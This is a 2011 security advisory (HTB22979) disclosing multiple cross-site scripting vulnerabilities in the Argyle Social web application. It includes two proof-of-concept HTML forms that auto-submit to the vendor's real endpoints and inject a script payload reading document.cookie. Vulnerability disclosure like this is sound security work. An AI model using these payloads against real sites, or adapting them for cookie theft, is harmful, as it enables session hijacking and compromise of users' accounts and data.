HTB22979: Multiple XSS (Cross Site Scripting) vulnerabilities in Argyle Social

[advisory () htbridge ch]

Vulnerability ID: HTB22979
Reference: http://www.htbridge.ch/advisory/multiple_xss_cross_site_scripting_vulnerabilities_in_argyle_social.html
Product: Argyle Social
Vendor: Argyle Social ( http://argylesocial.com/ ) 
Vulnerable Version: Current at 26/04/2011
Vendor Notification: 28 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerabilities exists due to failure in the "settings-ajax/stream_filter_rules/create", 
"publish-ajax/efforts/create" scripts to properly sanitize user-supplied input in "terms", "title" variables. 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

1.

<form action="http://app.argylesocial.com/settings-ajax/stream_filter_rules/create"; method="post" name="main">
<input type="hidden" name="stream_filter_rule" 
value='{"name":"rulename","id":"","flags":["flagged"],"networks":null,"user_id":"0","terms":"XSS\"><script>alert(document.cookie)</script>"}'>
</form>
<script>
document.main.submit();
</script>


2.

<form action="http://app.argylesocial.com/publish-ajax/efforts/create"; method="post" name="main">
<input type="hidden" name="effort" 
value='{"effort_id":"","title":"ptitle2\"><script>alert(document.cookie)</script>","url":"http://www.google.com","short":null,"campaigns":[],"primary_campaign":null,"flights":[{"glass_id":"post0","flight_id":null,"mdk":false,"source":"web
 interface","content_type":"twitter-status","content":{"content":"hello"},"stime":"4/30/2011 
23:10:00","networks":[{"id":"1","name":"My 
Name","type":"twitter","url":"","avatar":"http://a2.twimg.com/profile_images/1124040897/at-twitter_reasonably_small.png"}],"waparams":{"pname":null}}]}&apos;>
</form>
<script>
document.main.submit();
</script>